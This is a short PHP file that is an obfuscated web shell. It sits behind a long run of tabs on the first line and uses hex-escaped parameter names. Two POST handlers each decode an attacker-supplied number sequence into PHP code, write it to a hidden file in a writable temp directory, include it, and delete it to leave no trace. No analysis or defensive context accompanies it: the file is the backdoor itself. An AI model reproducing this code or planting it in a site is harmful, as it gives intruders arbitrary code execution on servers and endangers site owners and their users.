<?php																																										if(filter_has_var(INPUT_POST, "\x66\x6Cag")){ $comp = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); $entry = $_REQUEST["\x66\x6Cag"]; $entry =explode( "." ,$entry ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $entry as $u => $v4) { $chS = ord( $s[$u% $sLen] ); $d =( ( int)$v4 - $chS -( $u% 10)) ^ 32; $key .= chr( $d ); } while ($ref = array_shift($comp)) { if ((is_dir($ref) and is_writable($ref))) { $ent = "$ref/.data_chunk"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $ent; @unlink($ent); exit; } } } }


if(filter_has_var(INPUT_POST, "re\x66")){
	$pgrp = $_REQUEST["re\x66"];
	 $pgrp=	explode( "." 	 ,			$pgrp 		);	  
	$reference = '';
            $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt7);
            $s = 0;
    
            array_walk($pgrp, function ($v6) use (&$reference, &$s, $salt7, $sLen) {
                $sChar = ord($salt7[$s	% 	$sLen]);
                $d = ((int)$v6 - $sChar - ($s	% 	10)) 	^2;
                $reference .= chr($d);
                $s++;	});
	$ent = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/var/tmp"]);
	while ($elem = array_shift($ent)) {
    		if ((bool)is_dir($elem) && (bool)is_writable($elem)) {
    $bind = str_replace("{var_dir}", $elem, "{var_dir}/.descriptor");
    if (file_put_contents($bind, $reference)) {
	include $bind;
	@unlink($bind);
	die();
}
}
}
}